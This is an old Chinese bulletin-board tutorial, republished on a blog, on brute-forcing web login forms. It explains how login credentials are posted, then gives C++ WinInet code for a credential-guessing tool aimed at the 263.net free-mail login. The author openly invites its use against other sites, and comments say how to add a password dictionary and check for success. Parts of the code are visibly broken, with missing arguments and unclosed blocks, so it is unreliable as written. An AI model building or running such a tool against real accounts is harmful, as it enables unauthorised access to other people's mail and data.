天天看点

WWW攻击法

这儿的WWW攻击只限一般站点的攻击

对于采用安全连接的站点还没有试过

一个很好的实践的目标就是各种支持WWW的免费邮件

如果你想用它来进入黄色站点

那也没办法 :)

一般的站点中

如果你想浏览某些需要授权的内容

首先要经过身份验证这一步

就是让你输入用户名、密码

然后浏览器会根据HTML文件中FORM的定义

把这些信息发给服务器来验证

一般的办法是GET或POST

比如在263中

请看下面的263 HTML源代码

        用户名: @263.net 口令:   

如果点击"请进吧!",浏览器会向服务器发送一下请求

POST /prog/login/?user=aaa@pass=bbb

既然知道了原理

那我们就可以模拟用户点击的过程

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe

标 题: WWW攻击法(二)

发信站: 我爱南开站 (Wed Nov 3 08:45:57 1999), 转信

微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档

现在

我们就可以发动进攻了

请看源程序

不想灌水

我把该程序中读字典的部分和判断攻击是否成功的部分省掉了

但都作了注释

const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n";

//pServer是目标主机名

//cszPostData就是剩下的部分

//比如攻击263的免费邮箱,那么

//pServer="freemail.263.net"

//cszPostData="/prog/login?user=tom&pass=fuck"

//当然,你要先读字典文件,读取pass的值

void Attack(LPSTR pServer,LPSTR cszPostData)

{

    // Open Internet session.

    HINTERNET hSession = ::InternetOpen("URLHacker",

                INTERNET_OPEN_TYPE_PRECONFIG,

                NULL,

                INTERNET_INVALID_PORT_NUMBER,

                0) ;

    // Connect to dest.

    HINTERNET hConnect = ::InternetConnect(hSession,

                pServer,

                "",

                INTERNET_SERVICE_HTTP,

                0,

    // Request the file from the server.

    HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,

                "GET",

                cszPostData,

                HTTP_VERSION,

                INTERNET_FLAG_DONT_CACHE,

    // Add request headers

    BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea

ders),HTTP_ADDREQ_FLAG_ADD);

    // Send the request.

    BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);

    // Get the length of the file.

    char szBuffer[80] ;

    DWORD dwLen = sizeof(szBuffer);

    DWORD dwIndex;

    BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,

                szBuffer, &dwLen, NULL);

    DWORD dwRet;

    if (bRet)

          dwRet = (DWORD) atol(szBuffer);

    if (dwRet == HTTP_STATUS_DENIED){

    //这是另外一种验证的办法,和系统的用户名、口令结合起来

    //InternetConnect中第3、4个参数就是用户名和口令

    //下面怎么做不用我说了吧

    }

    if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0))

          bRet = TRUE;

    else

    {

          // now that we know how long it is, ask for exactly that much

          // space and really request the header from the API

          LPTSTR pstr = new TCHAR[dwLen];

          bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen,

&dwIndex);

          delete []pstr;

    // were we redirected?

    // these response status codes come from WININET.H

    if (dwRet == HTTP_STATUS_MOVED ||

          dwRet == HTTP_STATUS_REDIRECT ||

          dwRet == HTTP_STATUS_REDIRECT_METHOD)

    //被重定向到其它地址,需要重新连接到新的地址

    // Convert length from ASCII string to a DWORD.

    // Allocate a buffer for the file.

    char* buffer = new char[dwLen+1] ;

    // Read the file into the buffer.

    DWORD dwBytesRead ;

    BOOL bRead = ::InternetReadFile(hHttpFile,

                    buffer,

                    dwLen+1,

                    &dwBytesRead);

    //可以在这儿根据读到的内容判断攻击是否成功

    //怎么?不会!

    //试一下手工猜口令,肯定给你一个出错的画面

    //如果读到的内容中不包括那些错误信息,就又可能成功了

    delete [] buffer;

    ::InternetCloseHandle(hHttpFile);

    ::InternetCloseHandle(hConnect) ;

    ::InternetCloseHandle(hSession) ;

}

标 题: WWW攻击法(三)—注解

发信站: 我爱南开站 (Wed Nov 3 08:58:58 1999), 转信

创建一个会话

HINTERNET hSession = ::InternetOpen(

        "URLHacker",//Agent名,随便取

        INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式

        NULL,

        INTERNET_INVALID_PORT_NUMBER,

        0) ;

连接到服务器

HINTERNET hConnect = ::InternetConnect(

        hSession,

        pServer,//服务器名

        "",//用户名

        "",//口令

        INTERNET_SERVICE_HTTP,//HTTP

        0,

        0);

向服务器发出请求

HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,

        "GET",//可用GET或POST

          cszPostData,//对应于HTTP命令 GET cdzPostData

          HTTP_VERSION,

          NULL,

          0,

          INTERNET_FLAG_DONT_CACHE,

          0);

加一个请求头,自我炫耀一下,hehe

BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead

ers),HTTP_ADDREQ_FLAG_ADD);

接下来,查询该请求返回的信息,然后读之。

本文转自loveme2351CTO博客,原文链接: http://blog.51cto.com/loveme23/8543,如需转载请自行联系原作者